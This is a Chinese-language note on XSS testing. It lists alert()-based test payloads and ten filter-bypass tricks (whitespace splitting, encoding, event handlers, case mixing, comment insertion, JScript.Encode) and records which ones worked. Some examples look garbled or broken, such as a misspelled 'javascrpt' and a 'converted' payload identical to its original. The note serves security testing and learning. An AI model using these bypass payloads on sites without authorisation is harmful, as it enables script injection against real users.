1、书籍《xss跨站脚本剖析与防御》上介绍的xss测试代码
<img src="javascrpt:alert('xss');">,
<table background="javascrpt:alert(/xss/)"></table>
已经不能在多大数的浏览器上弹窗成功了
测试xss漏洞尽量改变习惯使用
<img src=1 oneRroR=alert(/XSS/)>
<img src=1 oneRroR=alert('XSS')>
<img src=1 oneRroR=alert("XSS")>
<img src="#" onerror=alert('xss')>
<img src="x"/**/onerror="javascript:alert('xss');">
<script>alert('XSS')</script>
<img src=# onerror="alert('XSS')"/>
<input type="text" value="x" onmouseover="alert('XSS')" />
<iframe src="javascript:alert('XSS')"></iframe>
<a href="javascript:alert('XSS')"> xss</a>
来测试,能胜任当前大多数浏览器版本。
2、使用空格、回车、tab键的方法绕过过滤
<iframe src="java
script:al ert(1)" height=0 width=0 /><iframe> <!--Java和script是回车,al和ert是Tab换行符-->
实际测试成功
3、利用ASCII转码绕过过滤
<img src="x"/**/onerror="javascript:alert('xss');" >
<img src=1 onerror=alert('xss')> 转换为 <img src=1 onerror=alert('xss')>
实际测试成功
4、产生事件
<input type="button" value="click me" onclick="alert('click me')" >
实际测试成功
5、利用CSS跨站
<div style="background-image:url(javascript:alert('XSS'))">
<style>
body {background-image: url("javascript:alert('XSS')");}
</style>
<div style="list-style-image:url(javascript:alert('XSS'))">
实际测试失败
6、大小写混淆
<img src="#" oneRroR=alert('xss')>
实际测试成功
7、半字转为全字
<img src="#" onerror=alert('xss')>
实际验证失败
8、结合使用注释字符干扰
<img src="####/*******/####" onerror=alert('xss')>
实际测试成功
9、书上说在javascript中的eval()函数,可计算字符串,并执行其中的JavaScript代码
<script>
eval("alert('XSS')");
</script>
按照书上说的转码为16进制
<script>
eval("616c65727428275853532729");
</script>
实际验证失败
10、Microsoft提供脚本加密机制,可以对脚本进行加密,能在IE下正常运行,在其他浏览器则无法识别
alert(1)使用JScript Encode加密结果为#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
编写exploit代码
<script language="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
</script>
在IE中执行,实际测试成功